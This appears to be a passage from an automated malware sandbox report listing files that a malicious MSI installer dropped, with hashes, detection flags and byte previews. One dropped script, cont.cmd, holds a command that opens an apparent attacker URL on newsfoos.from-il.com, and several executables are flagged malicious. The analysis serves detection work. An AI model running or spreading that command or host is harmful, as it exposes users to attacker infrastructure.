Preview:	r/.fn...W.k........W.&r..r}.....B.N......N8..#.%..s..\A?.(am.\|..x).....=.3}SzIU..9.R...Q.V....'.f-^..@..... .e\l7..[%.]r..N\....9.z.V...}o....I.....?B......e%.=...x.@..+U..4.U..R...j(b..9...C.o.#U.w..U!F.18......M]......D..'Zx....n3.....Ql..U=B..,..q/..0mC...~..n....:..4. /.@.$...q\|..>.fd3.u.E.X..I.........T.............s@..[/f.x:^..F..?.).}pnx._..=...n......J..{x7...Z!F.hat....@4g.<..!=..Q9..F.E5...V~.B.1$...\.``=....;A...#.ab.3#ZA%.....S.<".@@T(@H.0.a..G`B..o..{$a1.%_......x.Q..)C....^.r..%i.,O\r..#...a.p....<...N...!6.4.r..Is.W.(..:6..........St..(..%...C..f`ZR..+.zK....."d..FwL..TR...]8.9...3.HX>;@m.v&+'.....r.)...`n.Z...."..7;.N........wJ.1....g..........V."....(7u.M..,o..z.R.&..w.v4.U./..V.b.\.o.z.M.i7.L.e...,U.S+.v6.P...`.w .PB.f.......j..,.:.C\...Fc..:...`:=.X......26.......G^..l.`..f.....[...x...6...v....Y.c..M.U..]k..1..).&...@...].bf.....@. .pZ.0.(.}...k...1.....:.d]L../.~.V>\|qQ..t.5.>I#..>....<l...g..@]...k9kF.,!.."%h...z

C:\Users\user\Pictures\fotosdaviagem\cdburnerConnect

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	5.245447224305563
Encrypted:	false
SSDEEP:	3:3ugfKvpkPxBKS9Gr236TOf:+giveJr9Upg
MD5:	51C2C6285991EF6126010B102782B43D
SHA1:	9CAEC981404A3BAD4536CB42DE557EB1CFECB085
SHA-256:	3692E5F68D8F5D3A8A3782FAAC232D89C74E37ED8E9EF2853AEE0147E4D2659C
SHA-512:	9C99EE675E9D3F9320DEFF79F23B062B2E563C5E1824089DA4825F25E8F8A87E0E870758EDAA4610C78F850EA2355886CE5F30DE51C1536F8713E9045999D48E
Malicious:	false
Preview:	jn8r4IjEzoJLa1cjTx5vc2C9Sk3Ff7+76/nuToKOtShN..oKPv+W/D

C:\Users\user\Pictures\fotosdaviagem\cont.cmd

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.236243412983059
Encrypted:	false
SSDEEP:	3:jhRp3WSKIIIyGGJMuhyVY1QVn:jHp3WWqGGJM+yVY1QV
MD5:	BC780D86E260181596F795744F5A8FEB
SHA1:	9F09EC13020AEB19D914DFB9B322906D35BBFADB
SHA-256:	92714D26B51C101F984868717F8F93BBAE71E3CEC88E6E1260BE16D0E50DD99D
SHA-512:	66BBC45561D51A05851AE5E535FA555F38A5EBB614E24F47883589F8972E9CC2C1B7928357FB82646CD98AD730551C481E1F180999A88F553474E253E53F594F
Malicious:	false
Preview:	Start http://newsfoos.from-il.com/clientes/inspecionando.php

C:\Users\user\Pictures\fotosdaviagem\settings.xml

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1793
Entropy (8bit):	7.888051089019235
Encrypted:	false
SSDEEP:	48:PCSBPCF4qYtOIt9Oxi0/1YapmAg7VZNPVs:PvCFxYzmxN3mAYNS
MD5:	FEBE516EE835A50D940B2413596527C4
SHA1:	E38B8178C37973A7E43F1EE183F08FCFFFAEC5AC
SHA-256:	2E62CCA2526CD1355D85F607DCD274F05C808DB6AD9FCA42DC9371A30DB52652
SHA-512:	C719989A043475CFC1CDF3EBAE5E27DC721F025279F7EB3F3E1FA52D1A0F440214F77986EC4D18BFE1FFC6905C512198DBA0A0299D1FE7EDA66BD0E7205E772F
Malicious:	false
Preview:	..5....\..).X.rBA..F..3^,..p.U%#O.5....q.a..U.G.......o....5.......&O.:....T..z...d.....[.....k.8S....0..{W$HP.b2&E....u..x..,l[T.0]..Q.[..X_,7`...m.@....@...u....r..E....P.:[.{.\.X..&>..r._ue..Y.......^....x... 4\.u.....D-...v.z.M...1.q..j.....9a'...Y..fL)...,442$pw .\|7mu....$.s..od..Bl.....@...qo.#.....n.!.I....B.a.DA...sv.>.;..$D....`c....TiI%.-..h.>..6}]e..7..y?.5...10W13.,]&^U\.O.).a.9.s..).4.h...LV..z9..0...F.M......S{..~.rki....Q..&.#.f3....Ob......(...m...B.Q...m.p..W....zj.=..J.6.8....t..6.......R.,m...<(m.J....1.....g...j..a........,.._....P...t.....K..\|~D.%.8.zLC{...P.....{W.U..z:.k........U..D@....Q....T.V....p..Mo..B.)#.'...nu:..o....o..H..j.X.........6... (wq.K. ..K.@.....I.fK..a.4..P.wcS.... .b..'C7....ha..3.S..(.fH'.(.Jj.;...Wq8..c........7.{.7.E..-l.t.!.P.6..&:...r7.-z...\|Pm.8.6.~..L..r.Z.A.oQ......@.L...q.2 %..f.G.^...S...A/.Q.n..Rq..".VQG!..n..[:X>..5....v.L.c..zc.F.Y.p..m..>.+9..G...,g6.U..;B)..Mp.....H?F....k.\.co\|....

C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1626280
Entropy (8bit):	7.371352775782398
Encrypted:	false
SSDEEP:	49152:H4jyNKd2Bqc8Y7IDbauSVGDzhGjThGDzhmj8L5NsmK2:H4Fd2Bqc8Y7IDbauSVGDzhGjThGDzhmL
MD5:	BDC0CFF1E6E3DB489864041A623F0D1E
SHA1:	CF1BEEEC71ABBFBE8A6F47ABAAA6C1AF2FEE37DC
SHA-256:	585741CA3C4041BB39D107F1F159D908650967FBCCAC3A491BCA389CC4BA0769
SHA-512:	AEAF1D2DA43584AE91EA032C59A945AB91F721CC3B5BB98C2C7096DFD8C728B4EBF735491E06E934B4B1C9F1CCC719F950AD6F45E212F638B52C7AF5EFCC18DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: arquivo.msi, Detection: malicious, Browse Filename: z1Intimacao-eletronica.msi, Detection: malicious, Browse Filename: Nota.msi, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@........................... .../... .......................p..p............................`......................................................CODE................................ ..`DATA....p...........................@...BSS......................................idata.../... ...0..................@....tls.........P.......0...................rdata.......`.......0..............@..P.reloc..p....p.......2..............@..P.rsrc........ ......................@..P....................................@..P........................................................................................................................................

C:\Windows\Installer\46750c.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {109BB442-B9FF-433F-A409-015AAE08B482}, Number of Words: 10, Subject: Aplicativo Windows, Author: Microsoft, Name of Creating Application: Aplicativo Windows, Template: ;1046, Comments: Aplicativo Windows, Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Thu May 9 06:30:32 2024, Number of Pages: 200
Category:	dropped
Size (bytes):	30681088
Entropy (8bit):	7.979383601607887
Encrypted:	false
SSDEEP:	393216:eZnn14DbxKsHflWWJpfozkGxcOKzzTWh5CR0rYb8JPt3HPRoJQ6YQ5qMJ8K4RIyk:On1stHfbfy4zTE8R0BPt3vRo/F2w
MD5:	8FCB7D96688206BAA33E4093593351F9
SHA1:	6BE55CEC7D9C516E3ECE68C7B909DDAE463A67A1
SHA-256:	3779B1BEA09E5CFAA95B068ABAC91ABA4585390C529EFF5B163AB0B0C14F9F99
SHA-512:	2CEB7444E27CC6FC5CA25CE3E762208B37897A598F029A85EFD67F258D4A71B8A07680F5D7FCBDA4E8E04F32385E6A5422FE2A52C6BB8C3157D0704427D08C2F
Malicious:	false
Preview:	......................>.......................................................G.......c.......u...............................O...P...Q...R...S...T...U...V...W...........................................................................................................................................................................................................................................................................................................................................................................=...................$...5....................................................................................... ...!..."...#...,...%...&...'...(...)...*...+...-.......3.../...0...1...2...6...4...>...A...7...8...9...:...;...<...........?...@.......B...C...D...E...F...........I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSI7AC9.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: arquivo.msi, Detection: malicious, Browse Filename: 25690.01808D.msi, Detection: malicious, Browse Filename: fatKCMAGKKH.msi, Detection: malicious, Browse Filename: SPMServer_2024.3.5.473.exe, Detection: malicious, Browse Filename: SPMServer_2024.2.1.7.exe, Detection: malicious, Browse Filename: SPMServer_2024.3.1.22.exe, Detection: malicious, Browse Filename: Df.mes-25664.msi, Detection: malicious, Browse Filename: FatRE012024.msi, Detection: malicious, Browse Filename: Fat012024.msi, Detection: malicious, Browse Filename: BoletoNF0014217112023.pdf.msi, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7B56.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7C03.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7C43.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7CC1.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	601920
Entropy (8bit):	6.469032452979565
Encrypted:	false
SSDEEP:	12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
MD5:	CADBCF6F5A0199ECC0220CE23A860D89
SHA1:	073C149D68916520AEA882E588AB9A5AE083D75A
SHA-256:	42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
SHA-512:	CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......\|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7EF4.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	8388
Entropy (8bit):	5.438275533426642
Encrypted:	false
SSDEEP:	96:IwYAQuH1wxZmCZkWpvkqKZluhXagJ8aHPiXpctOg2hO3Kd4ovmOMMulFnPKX+Wpd:I7LuVEfM1gbicU5LTS+4HoiCn
MD5:	E125639B060C464E4B766E64BB376472
SHA1:	D09EDBF85D1777DF9094E1A57510C5842718E38B
SHA-256:	832ADCE2F738554B9917969A4EA8F312453625BCD5A61949A09EC119917EE79E
SHA-512:	B81F68B5DC40FF88FDF19CB8896D7BE7C6C3CA39B0F02BB7D7B009EF265D102109D5E077BC84EB64DD91D237BE4C198FF01653AE7FBC7D4CD11692A6544A25FC
Malicious:	false
Preview:	...@IXOS.@.....@.J.X.@.....@.....@.....@.....@.....@......&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}..Aplicativo Windows..arquivo.msi.@.....@?....@.....@........&.{109BB442-B9FF-433F-A409-015AAE08B482}.....@.....@.....@.....@.......@.....@.....@.......@......Aplicativo Windows......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]...@.......@........ProcessComponents%.Atualizando o registro de componentes...@ ....@.....@.]....&.{60715A9F-4AEC-4D83-B87A-914CE6AF84AD}..C:\Users\user\Documents\.@.......@.....@.....@......&.{232B65CE-07F2-4C09-8446-D0B152043BFA}1.01:\Software\Microsoft\Aplicativo Windows\Version.@.......@.....@.....@......&.{22B4B4EB-20D3-4CCD-A51F-EBD421917779}..01:\Microsoft\.@.......@.....@.....@......&.{3A6531DD-7594-4904-AAB9-32F10FD461DF}..01:\Microsoft\Windows\.@.......@.....@.....@......&.{4669957E-4874-4408-AF9D-19502B394F45}%.01:\Microsoft\Windows\CurrentVersion\.@.......@.....@.....@......&.{7FA89396-4

C:\Windows\Installer\MSI7F24.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	423936
Entropy (8bit):	6.554049394581909
Encrypted:	false
SSDEEP:	12288:B/ePEitwJH6g7scgFzMzMHf7h453V6hEFM:B/EEimJH6g7scSzMQDC5lfC
MD5:	768B35409005592DE2333371C6253BC8
SHA1:	E370B3CFD801FCDFDBEEC90B0F7CBEF5D2E6B69C
SHA-256:	33B519696A7F4B5D4714E3A363B0F0F76E6FF576A05999E482EA484AD4ACF5A5
SHA-512:	BB8FAE0FDCE3D61DAB48C1F79F3CE498159364D51FDFD2481CCA3A60D009F6134194D48EA20DE3E1F0C236BB9F6368F82D737A8153F7A1D492F44E197EA971CE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.g[..g[..g[.T.X..g[.T.^.)g[.8._..g[.8.X..g[.8.^..g[.T._..g[.T.]..g[.T.Z..g[..gZ.Kg[.^.R..g[.^....g[..g..g[.^.Y..g[.Rich.g[.................PE..L...s,Jd.........."....#..........................@.................................._....@..........................................p..8........................:..(...p...........................h...@...............l............................text.............................. ..`.rdata...R.......T..................@..@.data....7...0......................@....rsrc...8....p.......0..............@..@.reloc...:.......<...<..............@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI7F35.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	423936
Entropy (8bit):	6.554049394581909
Encrypted:	false
SSDEEP:	12288:B/ePEitwJH6g7scgFzMzMHf7h453V6hEFM:B/EEimJH6g7scSzMQDC5lfC
MD5:	768B35409005592DE2333371C6253BC8
SHA1:	E370B3CFD801FCDFDBEEC90B0F7CBEF5D2E6B69C
SHA-256:	33B519696A7F4B5D4714E3A363B0F0F76E6FF576A05999E482EA484AD4ACF5A5
SHA-512:	BB8FAE0FDCE3D61DAB48C1F79F3CE498159364D51FDFD2481CCA3A60D009F6134194D48EA20DE3E1F0C236BB9F6368F82D737A8153F7A1D492F44E197EA971CE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.g[..g[..g[.T.X..g[.T.^.)g[.8._..g[.8.X..g[.8.^..g[.T._..g[.T.]..g[.T.Z..g[..gZ.Kg[.^.R..g[.^....g[..g..g[.^.Y..g[.Rich.g[.................PE..L...s,Jd.........."....#..........................@.................................._....@..........................................p..8........................:..(...p...........................h...@...............l............................text.............................. ..`.rdata...R.......T..................@..@.data....7...0......................@....rsrc...8....p.......0..............@..@.reloc...:.......<...<..............@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1627663590628343
Encrypted:	false
SSDEEP:	12:JSbX72FjTStiAGiLIlHVRpY5h/7777777777777777777777777vDHFBA2hpdl0G:JjQI5eT5cF
MD5:	03BA02FD551AB30D7A1E4CEF84E27BC9
SHA1:	A339D39686EF2CC098694C35C0C3F5C497C5087C
SHA-256:	8BB99385D35C5703DFEC4988EA4FF09F5C5BC36F6595E24625A21BF1F35BA859
SHA-512:	E572AB62DEF4600C5BB73D971C605C1A1D363F27BEEE8BF4BB75921DC82C82EB501DDA080F9D9DCC017E441245E5ABD6C340F3E4EAF79DA5FBDBCBBB6F61E976
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4913866617723437
Encrypted:	false
SSDEEP:	48:gk8PhYuRc06WXJEFT5JH9q2rTrISCrKAECiCyjMHosrISCrAT:g7hY1HFTXbIrREC0MXIr
MD5:	5FA4F3777AFED7D2C3160460CBA59FD3
SHA1:	364F68A4E46DA9A9BDDFD5CB3E6A5775EB8F38D1
SHA-256:	D7A4929F00C7FDC6C25A568B1772769ABDF7DB9E0C31BCC74018AFCF09BE629C
SHA-512:	EB8B3B0DE4B89CE4BEE4460B2CDF84F3100B60345425B0BED9317CD1720D08D53E19B513B115DD28F1F42A372D2C5762FD66824245567E93AE0F539CB9785DB0
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	432221
Entropy (8bit):	5.375156516775821
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauL:zTtbmkExhMJCIpEry
MD5:	35C82ECA0BD3BDDB69579BA029009FD8
SHA1:	FAB8F64EF29D083651DEE035EA3147207B57C29C
SHA-256:	100EEC41253E5DFE0AB954DA548785FA993BC3C2D2679B9798B2476E43A0BE3D
SHA-512:	732AA3D4736E216559BC7D3EA9F7D220DD31E48A1EABE11376FF44F6BB636865625991F3D25067A46689BAC7538CA56E07AF223F918831742DB0685C9DB7DADC
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Temp\~DF0694255D16F60B99.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2010078231228034
Encrypted:	false
SSDEEP:	48:YnQuGO+CFXJ5T5LH9q2rTrISCrKAECiCyjMHosrISCrAT:mQMhT1bIrREC0MXIr
MD5:	1CC63AD0236B9FD01258848B53E8DC1C
SHA1:	549C3AD7181166563315136E5F5083FAD864CF2D
SHA-256:	0F7B904B00B42CE1EACB90200650A7239CD026ED7E6D2009ECDC21C21D2A2E29
SHA-512:	D41DDB5DBA6B802F5AF5A08576D2F52FA5F1EB9A15BF75FAD7AC90D2CD7FB8C48BAD6B34309E21C2DB9561EDC20B5A04E40592AA45311C752CFB5EA24093AD60
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF360540AD5AECD027.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF43D98A1B6B71B2FD.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2010078231228034
Encrypted:	false
SSDEEP:	48:YnQuGO+CFXJ5T5LH9q2rTrISCrKAECiCyjMHosrISCrAT:mQMhT1bIrREC0MXIr
MD5:	1CC63AD0236B9FD01258848B53E8DC1C
SHA1:	549C3AD7181166563315136E5F5083FAD864CF2D
SHA-256:	0F7B904B00B42CE1EACB90200650A7239CD026ED7E6D2009ECDC21C21D2A2E29
SHA-512:	D41DDB5DBA6B802F5AF5A08576D2F52FA5F1EB9A15BF75FAD7AC90D2CD7FB8C48BAD6B34309E21C2DB9561EDC20B5A04E40592AA45311C752CFB5EA24093AD60
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5BE28799D63E2461.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.4913866617723437
Encrypted:	false
SSDEEP:	48:gk8PhYuRc06WXJEFT5JH9q2rTrISCrKAECiCyjMHosrISCrAT:g7hY1HFTXbIrREC0MXIr
MD5:	5FA4F3777AFED7D2C3160460CBA59FD3
SHA1:	364F68A4E46DA9A9BDDFD5CB3E6A5775EB8F38D1
SHA-256:	D7A4929F00C7FDC6C25A568B1772769ABDF7DB9E0C31BCC74018AFCF09BE629C
SHA-512:	EB8B3B0DE4B89CE4BEE4460B2CDF84F3100B60345425B0BED9317CD1720D08D53E19B513B115DD28F1F42A372D2C5762FD66824245567E93AE0F539CB9785DB0
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5F72117D01EF23D0.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
